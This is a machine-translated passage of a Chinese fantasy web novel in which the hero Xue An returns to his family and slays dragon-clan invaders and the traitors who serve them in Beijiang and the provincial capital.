

    Xue An''s explanation made An Yan feel a little confused.


    But when she heard that An Qing was okay, she couldn''t help taking a breath.


    Anyway, as long as the sister is fine.


    Fortunately secretly, An Yan felt that a powerful hand took her into her arms.


    An Yan became stiff and flushed.


    "The child and Xuan''er are all outside!" An Yan said in a voice.


    Xue An smiled, leaned down and said to her ear: "I have just set up a barrier in this room, and now you just yell your throat, and you can''t hear any noise outside!"


    "Why should I yell and break my throat?" An Yan asked in confusion.


    Xue Anxie smiled and said something in her ear.


    An Yan blushed and was about to bleed, and Xue An gave Xue An a fiercely white look, "Hate!"


    Xue An smiled, suddenly hugged An Yan, and then said lightly: "Yan''er, don''t be afraid, I''m back!"


    An Yan became stiff, and then completely softened in Xue An''s arms, "I am not afraid, because I know I will come back!"


    "But I am sad!"


    Speaking of this, An Yan''s body was shaking slightly.


    "Da Niu is dead. In order to slaughter the evil god, the soul blew himself up! The other people of the Fire Phoenix were also injured! The life and death of Qing''er was uncertain, and the whole world was in chaos, and countless innocent people died! Thinking of this, I am sad!"


    Hearing this, Xue An''s eyes flickered, but he held An Yan quietly without speaking.


    When he had just returned to this world, he had already felt the disorder and unusualness of the Qi of Heaven and Earth.


    It was as if someone had opened the shackles of this world, and the aura that had been suppressed for a long time rushed out, making everything restless.


    At the same time Xue An also felt a lot of powerful breath.


    Xue An understood at that time.


    The world once cut off by the mighty power of the Chinese has been restored, and the gods and demons can come to this world unimpeded.


    This naturally attracted the coveting of many gods and demons.


    And there should be a lot of malicious guys who want to fish in troubled waters.


    In short, the situation has become very messy.


    This is also the reason why Xue An is so guilty and distressed Anyan.


    The girl actually stayed in Qingmang Town in this situation, waiting for her return.


    It''s so stupid that it hurts!


    Thinking of this, Xue An gently kissed An Yan''s forehead, and then said lightly: "Okay, Yan''er, don''t be sad! Now I''m back, I won''t let any of these gods and demons come to this world!"


    "Ok!"


    "As for Daniel..." Xue An sighed softly.


    An Yan raised his head and looked at Xue An with wet eyes, "Is there any way to save him?"


    Xue An rubbed her hair, "If I guess it''s correct, there should be a glimmer of hope, but I don''t know if it will work!"


    An Yan hugged Xue An''s waist and buried his head on his chest, "My husband will definitely have a way, because in my mind, he is omnipotent!"


    Xue An smiled when he heard the words, and then gently squeezed An Yan''s small face, "Although it is too early to say this, it is not wrong!"


    An Yan screamed She buried her head in Xue An''s arms like a big ostrich, and refused to show her head anymore.


    The two quietly enjoyed the warmth and joy of reunion after a long absence.


    After a while, An Yan said softly: "Husband, what are you going to do next?"


    Xue An said lightly: "Go to Beijiang first!"


    "Go to Beijiang? Why do you want to go there?" An Yan was a little surprised.


    A flash of cold light flashed in Xue An''s eyes.


    "Some clowns all jumped out this time, and I just packed them all!"


    An Yan whispered, and suddenly stood on tiptoe and kissed Xue An''s mouth.


    Then, after Xue An was stunned, An Yan blushed and ran out.


    Xue An stood there, stroking his lips, and then smiled.

 Chapter 656： Slaughter God and exterminate demons, since then

    At this moment, Tang Xuan''er and two little girls were talking outside.


    "Aunt Xuan''er, why don''t mom and dad come out yet?" Nian Nian asked with some doubts, blinking her big eyes.


    "Uh...well, maybe you are discussing something important!" Tang Xuan''er said softly with a reddish cheek.


    "Huh...Aunt Xuan''er, why are you blushing?" Nian Nian asked.


    "Is there?" Tang Xuan''er quickly touched her cheek, then said with a light cough, "It might be hot!"


    "Is it hot?" Nian Nian glanced suspiciously.


    Think about it with a straight face, nodding very solemnly, "It''s hot! So I guessed what Mom and Dad did in the house!"


    Tang Xuan''er looked at the thoughts that had always been eccentric, and suddenly felt a little flustered, and was about to divert the topic.


    But when I think about it, I thought about it and said to Nian Nian''s ear: "Mum and Dad must be stealing ice cream, because they are afraid that we will see it, so they have not come out!"


    Hearing these words, Tang Xuan''er couldn''t help laughing, and then she felt feverish on her face.


    What was he thinking about just now?


    Think about it, it''s just a kid.


    At this moment, Nian-nian was convinced, "No, I''m going to knock on the door! I want ice cream too!"


    He said he was going to knock on the door.


    Tang Xuan''er just wanted to stop, the door opened and An Yan walked out from inside.


    "Mom! Did you steal ice cream with your dad just now?" Nian Nian asked, pouting.


    "Huh? What kind of ice cream?" An Yan asked with some doubts, flicking her temples.


    "Sister said you must be stealing ice cream! I want to eat it too!" Niannian stretched out her fleshy little hand and said expectantly.


    An Yan was a little dumbfounded, but at the same time a little distressed.


    During this period of time, the two little girls are extremely well-behaved, never mentioning Dad in front of her, and play around by themselves every day.


    And since Xue An left, the two little girls have not eaten a bite of ice cream.


    Nian-nian once told her secretly that she would think of her father when she ate ice cream, so they didn''t eat it!


    This made An Yan extremely sad at the time.


    Now that Xue An finally came back, the two little girls became lively again, and she was naturally happy.


    And Xue An also walked out of the room at this time. After hearing this, the distressed tears almost didn''t fall, and he immediately brought a few large boxes of ice cream.


    "Come on, dad accompany you to eat!"


    "Hmm!"


    The father and daughter have a box for each of them, and they have a great time.


    An Yan smiled and looked at her, feeling at ease like never before.


    After eating the ice cream, he coaxed the two daughters to play for a while.


    Xue An stood up.


    "Are you going?" An Yan asked.


    Xue An nodded.


    "Be careful that way!" An Yan habitually thought that Xue An would let herself wait here.


    Xue An smiled and shook his head, "Come with me."


    "Huh? But..." An Yan just wanted to say what Qing''er would do, would there be so many people going there together?


    As soon as Xue An stretched out his hand, an exquisite small building emerged in his palm.


    This small building is no more than the size of a palm, and its shape is extremely delicate, floating above Xue An''s palm, shimmering.


    "What is this?" An Yan asked.


    "This is a talisman I got from a true immortal treasure. Although it is a broken version, it is also a rare treasure!"


    As soon as Xue An raised his hand, this small building suddenly became bigger, and it was as tall as one person in an instant.


    "This Talisman can condense the aura of heaven and earth, and it''s very safe. Let Qing''er, Miss Miss and Xuan''er enter it, and they can follow along together!"


    The two little girls'' eyes gleamed a long time ago, as if they had discovered some novel toy, they went forward and were about to touch it.


    A golden light swayed, and the figures of the two little girls shrank a lot and appeared in this small building.


    "Wow! Mom and Dad, it''s so beautiful inside! Aunt Xuan''er, come in, too!" Miss Miss Nian shouted with a smile inside.


    Tang Xuan''er hesitated for a moment, then took a step forward, and then entered the small building like two little girls.


    "It''s amazing!" An Yan was a little surprised.


    "Do you like it?" Xue An said lightly.


    "Ok?"


    "This is a gift I specially brought back to you!"


    An Yan gradually widened her eyes, "But...what am I doing with this?"


    Xue An smiled, "It''s okay to be a show building for washing up!"


    If anyone who knows the inside story is here, he will probably be shocked.


    The treasures of the treasures that can be called precious things in the major sects of the heavens and the world are actually given by Xue An to his wife as a show building?


    Is this showing affection?


    Of course, this talisman not only allows people to live in it, but actually it is just an additional inconspicuous function.


    Its real purpose should be on the battlefield.


    At that time, it can transform into a terrifying killing machine.


    Then An Yan put Qing''er into this talisman.


    Then Xue An taught her how to use it.


    Xue Lan did not leave, she still needed to guard this place, Xue An left a sword intent.


    With this sword intent, you can guarantee worry-free here.


    After that, Xue An and An Yan both turned into streamers and flew towards the Beijiang.


    Slaughter God and exterminate demons, from then on!


    Beijiang.


    Qinjia Building.


    Qin Yu walked out of the room solemnly.


    Her grandfather Qin Yuan and the Black King were waiting for her outside.


    "Grandpa, it''s good for me to go alone, you should stay at home and guard it!" Qin Yu said.


    Qin Yuan smiled and shook his head, "Yu''er, if this negotiation fails, no matter who is guarding here, the result will be the same! And I, I can''t let you face it all alone!"


    Qin Yu was silent for a moment, and then sighed softly, "If Mr. Is..."


    Qin Yuan said calmly: "Mr. will definitely come back, it''s just a matter of time. So what we can do in the Qin family is to preserve our strength as much as possible. No matter how much humiliation we receive, we can''t give up!"


    Qin Yu nodded solemnly and at this moment, Tan Dong, Tan Xiaoyu''s father and daughter, and Hua Xingyu, Hua Tingting''s father and Sun Qiqi arrived.


    "You..." Qin Yu was startled.


    Hua Xingyu smiled, "Niece, we heard that you are going to negotiate with those **** on behalf of the Qin family, so we rushed over. Even if we were a little soldier waving the flag and shouting, we were considered to be doing our best."


    Tan Dong also nodded, "Yes, Miss Qin don''t worry! Although the old man is a little older, he is more than enough to deal with these guys who eat inside and out and collude with the gods and demons! Especially the kid Qin Tian, ??who originally Qin always let go. I smashed him, but I avenged his revenge. I took this opportunity to make trouble. If Lao Tan met him, I would definitely slap him to death!"


    Qin Tian!


    Qin Yu''s uncle, the general manager of the Qin Group, assassinated Qin Yuan because of collusion with Liu Shou, but was found out by Xue An at the time and was eventually expelled from China.


    This time, he was colluding with the descending gods and demons, fighting against the Qin family everywhere.

 Chapter 657： Shijia Rebellion

    Tan Xiaoyu also said coldly: "My father is right. These guys are too damned. They have worked for the gods and demons to kill the world. I, Tan Xiaoyu, are also at odds with them."


    Qin Yu looked at the crowd, took a deep breath, and trembled: "So, the Qin family, thank you!"


    Just when everyone went downstairs, ready to drive to the negotiation site.


    A very humble car stopped on the side of the road, and then Du Fan got out of the car, walked quickly to Qin Yu''s side, and said solemnly.


    "I just received the news that the Shi family of the provincial capital suddenly rebelled and swept the provincial capital before everyone was caught off guard. All the forces of the Qin family were wiped out, and Feng Chaosi of the Feng family was missing! And it was heard that Shi Hao of the Shi family had been killed. Under house arrest, the rebel should be Shi Dong, the master of the Shi family."


    Hearing this news, Qin Yu''s expression changed suddenly, "Is that old fox in Shidong turning back at this time?"


    Everyone is also angry.


    Only Qin Yuan''s face remained as usual and he said lightly: "This is not surprising. For people like Shi Dong, loyalty is far less important than benefits. Now that the demons are powerful, he naturally has a rebellious heart."


    Qin Yu had lost a square inch at this time, and asked with a hint of panic: "Grandpa, what should I do now?"


    The loss of the provincial capital was a fatal blow to the Qin family, who was already in a precarious state.


    This means that they have much less bargaining chips at the negotiating table.


    That''s why Qin Yu was so flustered.


    Qin Yuan still looked calm.


    For people like him who have started from scratch and have experienced countless winds and waves, no matter what happens, keeping calm is always the first thing.


    "Binglai will block the water and come to Tutun. No matter how powerful the opponent is, don''t let him see through your hole cards easily, understand?" Qin Yuan said lightly.


    Qin Yu was startled, then nodded deeply, "Understood!"


    "Let''s go! Go!"


    After all, Qin Yuan stepped forward, the back that had gone through decades of vicissitudes, still as tall as a sword.


    The place of negotiation was located in an upscale hotel in Beijiang.


    Of course, because of the chaos, this hotel has already closed.


    But when everyone got here, someone was waiting at the door, and when they saw everyone, they silently led the way.


    Tan Dong whispered to his daughter: "Did you see it?"


    Tan Xiaoyu nodded her face sinkingly, "It should be a heaven and human state."


    "A master of the Heaven and Human Realm was actually sent to be a doorman. Is this Qin Tian so powerful now?" Tan Dong frowned slightly, a look of worry appeared on his face.


    Hotel meeting room.


    When he saw everyone coming in, Qin Tian, ??who was sitting in the main seat, just raised his head and glanced, and then he took the time to continue playing with the lighter in his hand.


    Everyone stood silently.


    Qin Yuan stood at the forefront and said lightly: "Qin Tian, ??don''t talk nonsense, what do you want! Just put it on the table and talk about it."


    Qin Tian chuckled, "Qin Yuan, you really haven''t changed. When I was the general manager of the group, you were like this, and you are still like this! You will always be a charity!"


    Qin Yu''s complexion changed slightly, just about to speak, Qin Yuan gently shook her head and motioned her not to say anything.


    "Alright, since you said to put everything on the table, then I''ll tell you! All I want is everything that the Qin family has!" At this point, Qin Tian looked hideous.


    Qin Yuan remained silent, and said after a while: "Qin Tian, ??do you think this request is possible?"


    Qin Tian snorted coldly, leaning back on his chair and staring at Qin Yuan, "Qin Yuan, my dear uncle! I think you haven''t figured it out yet. It''s not an equal negotiation, but you are begging me! Everything, I can save your lives! If you don��t want to..."


    Following Qin Tian''s voice, black air surged in the corner of the meeting room, and a powerful breath was watching everyone.


    Tan Dong Tan Xiaoyu and the others all stepped forward, blocking Qin Yuan and the others.


    Qin Yuan waved his hand, motioned everyone to withdraw, and then said solemnly: "Qin Tian, ??did you really sell yourself to the devil?"


    "Haha! What does it mean to betrayed to the devil? Qin Yuan, haven''t you seen it? This world has changed, and the gods have come, and the world will be ruled by them in the future. If we want to survive, we can only become The servants of these gods! Equivalent exchange, this is what you taught me!"


    When Qin Tian said this, he became a little impatient, "Now give me an answer, or not! Otherwise, if you change to another person to negotiate with you, you won''t have such a good treatment!"


    Qin Yuan''s face was sinking, just about to speak.


    A figure gradually emerged on the chair next to Qin Tian, ??and then a cold and arrogant voice came.


    "Qin Tian, ??Miss Long Er is very dissatisfied with your progress in Beijiang!"


    Everyone was taken aback, because the voice sounded familiar.


    Qin Tian immediately got up and stood aside after hearing this voice.


    At this moment, I saw this man smiling evilly at everyone.


    "Everyone, long time no see!"


    Qin Yu was the first to recognize the person and said bitterly, "Hong Ming, it''s actually you!"


    That''s right, it was the young Master Hong Minghong who had a crush on Fan Mengxue and repeatedly confronted Xue An, which eventually led to the expulsion of the entire family from the country.


    It''s just that he at this moment is completely different from before.


    There is a complicated rune printed on his forehead, and his eyes have become reptiles'' vertical pupils, and his whole body exudes an inhuman and powerful aura.


    "Miss Qin actually remembers me, it really makes me feel honored!" Hong Ming said lightly, but his eyes sparkled with excitement.


    Qin Yu felt that the look in Hong Ming''s eyes was so yin and evil, he couldn''t help standing upright and took two steps back subconsciously.


    "Hehe, it turns out that Miss Qin, who was once awe-inspiring, will know that she is afraid!" Hong Ming said with a grin.


    At this time, Tan Xiaoyu stepped forward, blocking Qin Yu, and said coldly: "Hong MingWhat do you want to do?"


    Hong Mingjie laughed strangely, "What do I want to do? Of course I want *you and Qin Yu!"


    Tan Xiaoyu snorted angrily, dashed forward and kicked.


    Now Tan Xiaoyu also has the cultivation base of heaven and human beings, and the sound of this leg is bitter, obviously extremely lethal.


    But Hong Ming didn''t even move. As soon as he stretched out his hand, he grabbed Tan Xiaoyu''s ankle, then grinned and said, "Did you come to the door in such a hurry?"


    Then suddenly exerted force.


    With a click, Tan Xiaoyu''s ankle was crushed.


    Even so, Tan Xiaoyu just snorted, and then he twisted his body and kicked Hong Ming''s head with the other foot.


    Hong Ming smiled, and did not dodge, only layers of fine scales appeared on his head.


    With this kick on it, the force of the counter shock directly broke Tan Xiaoyu''s foot.

 Chapter 658： Talk and laugh, let the demons give the first

    Tan Dong roared and rushed up.


    Hong Ming casually threw it, just like throwing debris, and threw Tan Xiaoyu away.


    Tan Dong hurriedly caught his daughter, and saw that both of his legs were broken.


    Just a few moments.


    Tan Xiaoyu, who had the highest cultivation base, was defeated by Hong Ming.


    Everyone''s complexion became extremely ugly.


    Qin Tian''s expression moved, just about to say something.


    Hong Ming said calmly: "Miss Long Er said, I will be solely responsible for Beijiang from now on!"


    Qin Tian was startled, and then said respectfully: "Yes!"


    Then Hong Ming grinned at Qin Yu, "Miss Qin, when you helped that **** Xue An deal with my Hong family, did you think that there would be such a day?"


    Qin Yu snorted, "Hong Ming, you blamed you for everything that happened in the first place! If you didn''t kill you, you are already considered cheap, so you dare to yell here? Don''t you be afraid that Mr. Xue will take care of you when he comes back?"


    "Hahahaha! It''s so funny, I still have a mouthful of Mr. Xue! The **** Xue An has not heard from him. It is estimated that he has died a long time ago. From now on, this world will be the world of our Tianlong clan! And you, now become the prey on my bed. Right!"


    Hong Ming said grimly, his whole body rushed to Qin Yu in an instant, reaching out to grab her shoulder.


    Although Qin Yu is also practising martial arts, compared with this already half-man and half-dragon Hong Ming, the gap is far from heaven and earth.


    Therefore, if this one is caught, what awaits Qin Yu will be an extremely miserable fate.


    As for the few people next to them, although they wanted to reach out to rescue them at this moment, it was too late.


    at this time.


    A hand suddenly appeared in midair, and then a finger.


    The already aggressive Hong Ming seemed to have been hit by a giant dragon head-on. He vomited blood and flew out until he smashed a wall before he could barely stop.


    At the same time, I heard a cold voice.


    "Young Master Hong, it''s been a long time since I saw you!"


    Hearing this voice, everyone in Qin Yu was struck by lightning, and they looked around in disbelief.


    I saw a handsome man with deep eyes standing proudly in the court.


    "First... Sir!" Qin Yu cried with joy.


    It was Xue An who came.


    After he rushed to Beijiang with An Yan, he directly located here through his spiritual thoughts.


    Only then came over.


    Qin Yuanhua Xingyu everyone bowed, "Mr. Xue!"


    Xue An nodded slightly, then looked around the audience.


    When he saw Qin Tianzhi with a gloomy expression, he suddenly sighed.


    "I suddenly discovered that although killing can''t solve all problems, it can at least save a lot of trouble. For example, these people, how good they were directly killed in the first place, save them now making trouble."


    Exclaiming, Hong Ming slowly walked out from behind the smashed wall, his expression savage, and the mark on his forehead became more and more red.


    "Xue An, I didn''t expect you to die!"


    Xue An looked at him, then frowned slightly, "Betray your soul and become a dragon slave forever, Hong Ming, you really can afford it!"


    Hong Ming Jiejie smiled strangely, and dragon scales began to appear on his body, "Xue An, the heavenly dragon descends, the future world will be the world of the dragon clan, and you are my first sacrifice!"


    With that said, Hong Ming completely turned into a weird appearance of half human and half dragon, his whole aura climbed to the top, and then roared like a dragon and rushed over.


    Such momentum changed Qin Yu and others.


    Especially Tan Dong exclaimed, "Longevity is the realm of longevity!"


    Everyone sank.


    Xue An had cultivated to a high strength before, but he was only half-step longevity. At this moment, when he encountered Hong Ming in the longevity state, would he...


    All thoughts stopped here abruptly.


    Because in the horrified eyes of everyone, Xue An rubbed his nose and suddenly sneezed.


    "Snee!"


    Just under this sneeze, Hong Ming, who was already aggressive and proud, was frozen in the air.


    "Sorry, I have some allergies recently!" Xue An said, rubbing his nose.


    No one speaks.


    Because with Xue An''s voice, Hong Ming''s body gradually turned into powder, and then disappeared completely.


    A sneeze wiped out a dragon slave in the longevity realm.


    This scene looks silly for everyone.


    Qin Tian was even more shocked, "You...you..."


    Xue An smiled slightly, "What''s the matter?"


    Qin Tian shuddered in cold sweat and didn''t know what to say.


    "It seems that there is no doubt, then you should go to death with you!"


    Qin Tiangang wanted to scream, Xue An waved casually.


    A few strands of sword light passed by, and Qin Tian''s head was chopped off.


    When he was dying, there was a dazed look on his face, as if he didn''t believe that Xue An would kill himself so quickly.


    Qin Yu was shaking with excitement, and Xue An''s image grew taller in her eyes.


    Because the group of guys who pushed the Qin family into desperate situation couldn''t even stop Xue An''s sneeze.


    This is called the leader of the group of demons in the chat and laugh.


    At this time, Qin Yuan stepped forward and said respectfully: "Sir, over the provincial capital..."


    Xue An waved his hand, "I know everything, no need to say!"


    Then he looked at the black awns that fled from the conference room and flew towards the provincial capital, and smiled slightly, "Long Er Long San, doesn''t it mean that you still have a dragon? No culture is terrible, take it All names are so boring!"


    After that, Xue An said calmly: "You are here to sort out the situation in Beijiang!"


    "Yes!"


    Xue An rose into the sky and disappeared into the sky as a streamer.


    Qin Yuan and others looked at each other.


    After the meeting, Hua Xingyu smiled bitterly: "Mr. should be a fairy now, right?"


    Tan Xiaoyu, who has already drunk the Heavenly Fate Potion and is waiting to recover, has a complex expression, "If you read it right, Mr. is now a golden fairy, and an extremely powerful golden fairy!"


    Everyone was silent, and then a thought suddenly came up in their hearts.


    Gods and demons are in trouble, and all beings are desperate.


    And sir... can you turn the tide?


    provincial capital.


    Shi Dong said flatly, "Miss, the provincial capital has been completely calmed down."


    a long time.


    The back figure sitting in the chair turned around.


    This woman is not very young The waves of eyes among a pair of phoenix eyes give people a kind of flattery.


    Shi Dong trembled all over, and quickly lowered his head, not daring to look more.


    "Good job. When this country is completely calmed down, I can consider making you a dragon slave like Hong Ming! Enjoy eternal life."


    Shi Dong was overjoyed, "Thank you, Miss Long Er!"


    "Go down!"


    "Yes!"


    Shi Donggong responded, then turned and left the room.


    Looking at his back, a cold smile appeared on Long Er''s mouth.


    "In order to achieve the goal, I did not use any means, even my own son dared to put under house arrest. It was really a bit cruel. Unfortunately, it is too despicable to me!"


    As he was speaking, there was a sudden wave of fluctuations in the corner of the wall, and several dark shadows appeared in the room.

 Chapter 659： The sword glows like snow, covering the whole city

    "What''s the matter? Has the Beijiang side settled?" Long Er said lightly.


    These black shadows opened their mouths and said a few extremely obscure syllables.


    Dragon language.


    The special language used by the dragon clan to convey important information can carry a large amount of information and can even make dynamic pictures appear in the mind of the listener.


    Long Er was slightly startled, and after watching the picture in his mind, a glimmer of light flashed in his eyes.


    "You actually killed my dragon slave? It looks like he should be a strong golden immortal! Haha, it''s interesting!"


    After that, Long Er waved his hand, and these dragon shadow demon disappeared into the darkness again.


    Then stood up, walked to the window, overlooking the already sparsely lit city, and said lightly: "Long San doesn''t know what he is doing, he doesn''t even have his breath anymore, what a waste!"


    at the same time.


    Shi Dong returned home, and as soon as she returned to the study, Shi Zhuli rushed in with tears in her eyes, and then fell to her knees.


    "Father, please let go of your brother! If you keep it like this, your brother will have an accident sooner or later."


    Shi Dong''s expression was cold, he slapped the table suddenly, and said angrily: "Why? Use this to blackmail me? That rebellious son will die if he dies! He actually ran into me repeatedly and said something I will regret!"


    "Hehe, if I hadn''t surrendered in time, the Shi family would have been completely destroyed like other giants!"


    "but����."


    "Nothing but, don''t mention it again in the future, otherwise don''t blame me for being polite to you."


    Shi Zhuli looked at her hideous father, her whole body cold.


    She didn''t know why things became like this.


    Why is the always kind father suddenly so unkind, even his own son can be put under house arrest?


    In the end, she bowed her head hard and said: "Yes!"


    After that, she left the house in despair.


    Seeing her daughter leaving from the back, Shi Dong slowly leaned on the chair, his expression extremely cold in the darkness.


    "Family relationship? Haha, as long as you become a dragon slave, you will have endless life and powerful power. Then everything will be mine. Do you still care about this humble family relationship?"


    At this time, Shi Zhuli stumbled to the room where her brother was being held.


    The guards also criticized Shi Dong''s actions, so they didn''t stop them.


    When entering the room, Shi Hao was locked by a chain, but still looked at the book calmly.


    "Brother!" Shi Zhuli trembled.


    Shi Hao looked up at his sister, a smile appeared on his thin face, "You went to see him again?"


    Shi Zhuli nodded, but tears began to fall uncontrollably.


    Shi Hao sighed slightly, "I said, it''s useless for anyone to see him! He is now deeply trapped in the pursuit of power and immortality and can''t help himself!"


    "But he is stupid because he is stupid. He actually believes these gods and demons who came to this world!"


    "In fact, as long as the Shi Family can closely follow Mr. Xue, the benefits will be even greater, but he can''t see through, and even thinks that Mr. Xue will not return!"


    Speaking of this, Shi Hao showed a mocking smile, "I said he will regret it! I look forward to seeing that day."


    "Brother, when do you think Mr. Xue will return?"


    Shi Hao shook his head, "It may be a long time later, or it may be now, but no matter when, he will definitely come back, I have a hunch! This is also the reason Feng Chaosi would rather run away than betray, after all... with Mr. Xue It is much more dangerous to fight against these gods and demons!"


    At the same time, on a street in the provincial capital, Feng Chaosi, wrapped in a shabby coat, was walking slowly along the darkness at the edge of the street.


    The once prosperous city has now become desolate.


    In the distance faintly heard the screams of gods and demons and the screams of human beings.


    Feng Chaosi tightly wrapped his coat tightly and turned into an alley.


    Just after walking not far, I heard a woman''s cry and pleading from a distance.


    Feng Chaosi was taken aback for a moment, and then speeded up and ran over.


    After turning around a few corners, I saw a few demons in ancient battle armor smiling and surrounding a shivering woman.


    "Tsk tusk, it''s great, I can find this kind of stuff here!"


    These ghosts talked unscrupulously.


    The girl was so scared that her face was completely intimidated, and then she turned her head and saw Feng Chaosi, and a pleading expression appeared in her eyes.


    And these demons also noticed Feng Chaosi at this moment.


    "Get out! Uncle, I''m in a good mood today, don''t kill you! Get out!"


    "Yes, get out, don''t **** break our interest!"


    Feng Chaosi walked past with his head down.


    The girl''s eyes gradually darkened, and finally she closed her eyes in despair.


    At this moment, those demons had already gathered around, reaching out to touch them.


    At this moment, Feng Chaosi went back and forth, holding two beer bottles picked up from the ground in his hand, and threw them directly over.


    "Hi, you guys! Let go of that girl!"


    These demons were all furious upon seeing this.


    "Oh, there are people who are not afraid of death!"


    "kill him!"


    The girl opened her eyes and howled desperately: "Big brother, run, you are not their opponent!"


    Feng Chaosi threw away the coat, "Damn, I want to run too! But I can''t make a big man of me watch the little girl being bullied!"


    With that, he picked up the machete he carried with him, and fought with these demons to one place.


    As the girl said, he was not the opponent of this group of demons at all, and he was kicked to the ground after several encounters.


    A knife was also cut on his forehead, blood flowed down, and everything in front of him was dyed blood red.


    "Damn, I thought it was amazing, it turned out to be nothing more than that!"


    A demon took a bite and turned around to continue to bully the girl.


    Feng Chaosi didn''t know where the energy was coming from, and roared, "I*your grandma!"


    He hugged the demon''s leg as he spoke.


    The demon was furious, raising the knife and slashing at Feng Chaosi''s neck.


    The girl screamed in fright.


    Feng Chaosi sighed in his heart Damn, he couldn''t kill one even after he died.


    At this moment.


    Suddenly, numerous sword lights appeared in the sky above the city.


    Haven''t waited for everyone to react.


    These sword lights crashed down, covering the whole city like a heavy snowfall.


    Seeing these sword lights, these monsters trembled all over, screaming in terror and wanted to run.


    But just two steps away, he was swallowed by Jian Mang and directly cut it into nothingness.


    But these sword lights did not harm Feng Chaosi and the girl in the slightest.


    The two watched this scene blankly, and then couldn''t help looking up.


    Just under the moonlight, at the top of the sky, two figures of a man and a woman stood proudly.


    Feng Chaosi trembled all over and murmured: "Sir! It''s the sir back!"

 Chapter 660： Teach you how to be a good dragon

    at the same time.


    An angry dragon chant resounded throughout the city, and then a figure rushed straight into the sky.


    "Where does Jianxiu dare to destroy my Heavenly Dragon tribe?"


    With that said, this figure slapped twice against Xue An.


    Powerful, it seems to shake the moon.


    But Xue An didn''t even look straight, but turned his head and smiled at An Yan.


    "Yan''er, guess how long will I beat this guy?"


    An Yan hesitated for a while, then shook his head, "I don''t know!"


    At this time, the palm of the hand had arrived, and An Yan shouted with some worry, "Husband..."


    Xue An didn''t even turn his head, just waved lightly.


    The violent palm wind was completely muted, and then disappeared.


    When Long Er saw this, his heart sank, and a look of astonishment flashed in his eyes.


    She was sitting quietly in the room just now, and suddenly felt a shocking sword intent enveloping the whole city, and in an instant she wiped out countless demons.


    You must know that these demons are all the members of the Heavenly Dragon tribe who followed her in the lower realm. Now that they are cut off, Long Er is naturally furious.


    So she immediately flew into the sky, before taking a closer look, she blasted out two palms.


    From Long Er''s point of view, although the swordsmanship is terrifying, his body is very fragile.


    Being caught off guard, his two palms would definitely hurt him seriously.


    But Long Er didn''t expect that the two palms he shot with anger would be broken by this young man casually.


    now.


    Standing in the air, Long Er had been looking at Xue An, his expression also uncertain.


    Because she always thinks this man is very familiar.


    suddenly.


    She remembered the scenes that the Dragon Shadow Demon had reported to her.


    The person who killed Long Nu Hongming also seemed to be a young man. Although he couldn''t see clearly because of the blurring of the picture, he fits well with the man in front of him.


    At this moment, Xue An turned his head and smiled at her.


    "You are Long Er?"


    Long Er nodded slightly, his expression became solemn, "Yes! But I don''t know who Swordsman is your Excellency, why do you want to destroy my Heavenly Dragon tribe?"


    The heavens and all realms all rely on their strength to speak.


    Now Xue An has won the respect of Long Er with his own strength.


    "Your tribe?" Xue An pointed to the city under his feet, and said lightly: "So, the slaughter of mortals is also your instruction?"


    Long Er was startled slightly, and then said disapprovingly: "Your Excellency is a golden immortal, why do you care about a group of ants?"


    Speaking of this, a sincere smile appeared on Long Er��s face, ��I just made the move with my enthusiasm, and I hope your Excellency Haihan! If your Excellency is willing, the Tianlong Clan is willing to form an alliance with your Excellency. How about moving forward and retreating together in chaos and striving for greater interests?"


    Seeing that Xue An was so powerful, Long Er had the intention of drawing an alliance.


    After all, Jian Xiu is the most lethality recognized by the heavens and the world.


    If it can be drawn into the Tianlong camp, it will be of great benefit to future development.


    "Oh? Want to form an alliance with me? But I just killed so many of your tribes!" Xue An said lightly.


    Long Er smiled slightly, his eyes flowed in a pair of phoenix eyes, "If your Excellency is willing, then what are the trivial groups of people? You can come down again at any time."


    Long Er''s heart really planned it this way, and these demons were originally cannon fodder on the battlefield, and existed like consumables. Even if they were all dead, Long Er didn''t feel distressed.


    As for the dragon slave named Hong Ming, it is not worth mentioning.


    As long as you can win over someone like Xue An, then all this is worth it.


    Xue An laughed while listening.


    "Your name is Long Er, do you have a brother named Long Da?"


    Long Er was startled. Although he didn''t understand what Xue An asked about, he nodded and said, "Yes, but it''s not my brother, but my sister! We are nine siblings!"


    Xue An nodded, "Really the nine sons of Longsheng!"


    "Your Excellency..." Long Er was about to say something more.


    Xue An''s smile became colder, "It''s fine if you don''t know how many births are in family planning, and you are still trying to get involved in the world. Do you think no one in the world can subdue you?"


    "You..." Long Er''s expression sank.


    "What are you? Today, I will teach you how to be a good dragon!"


    Xue An stepped forward, straddling the void, and came directly in front of Long Er.


    Long Er was also completely angry at this moment, "Toast, not eat or drink fine wine, and find death!"


    He raised his hand and blasted a few palms.


    Xue An smiled coldly, and before Long Er''s palm and body, he raised his hand.


    Snapped.


    With a crisp sound resounding across the world, Long Er was slapped by Xue An and flew out, then landed straight and crashed into a tall building.


    This scene happened to be seen by Shi Dong who was standing on the top of the Shijia building.


    He also noticed that an unparalleled sword intent descended on the provincial capital just now, and there was a panic in his heart.


    Impossible, definitely not that person!


    He was already dead, how could he come back?


    He repeatedly used various reasons to comfort himself, and then quietly climbed to the top of his building.


    After seeing the people in the sky, Shi Dong couldn''t help feeling dizzy.


    His whole body shivered even more.


    It really is him!


    Unexpectedly, he really came back!


    Shi Dong''s heart was mixed with anger and fear, and his brain was in chaos.


    At this moment, Ryuuji appeared.


    Shi Dong was like a drowning man who had caught a life-saving straw, praying very sincerely for Miss Long Er to defeat this Xue An.


    But it seemed that even the gods did not dare to respond to his prayers. After a few short words, Long Er was slapped out by Xue An.


    How could this not let Shi Dong be frightened.


    But at this moment, the tall building that had been smashed by one floor suddenly trembled violently.


    Then he heard an extremely angry dragon chant.


    The roof suddenly shattered, and then a huge dragon head poked its head out of it, and the dragon body was like a pillar, tied to the tall building.


    Shi Dong''s tears of excitement flowed out, "Buddha bless, let Miss Long Er eat this Xue An in one bite!"


    He muttered in prayer.


    Long Er, who showed his body, roared. The whole body was like a spring, compressing the next one, and then rushed towards Xue An.


    Such a powerful blow carried infinite power, making the entire city tremble. UU reading www. uukanshu.com


    An Yan''s expression turned pale, "husband..."


    Xue An smiled slightly and said lightly: "Yan''er, do you want to eat dragon liver?"


    "Ok?"


    "I used to be tired of eating, but now I suddenly feel that it''s not bad to taste it again!"


    After all, Xue An''s eyes were brilliant.


    Then he raised his fist and blasted a punch at the rushing dragon.


    This punch was shown above, and it was banging on the forehead of the charging Long Er.


    Click.


    After a crisp sound.


    Xue An''s arm penetrated Long Er''s forehead and inserted into her head.


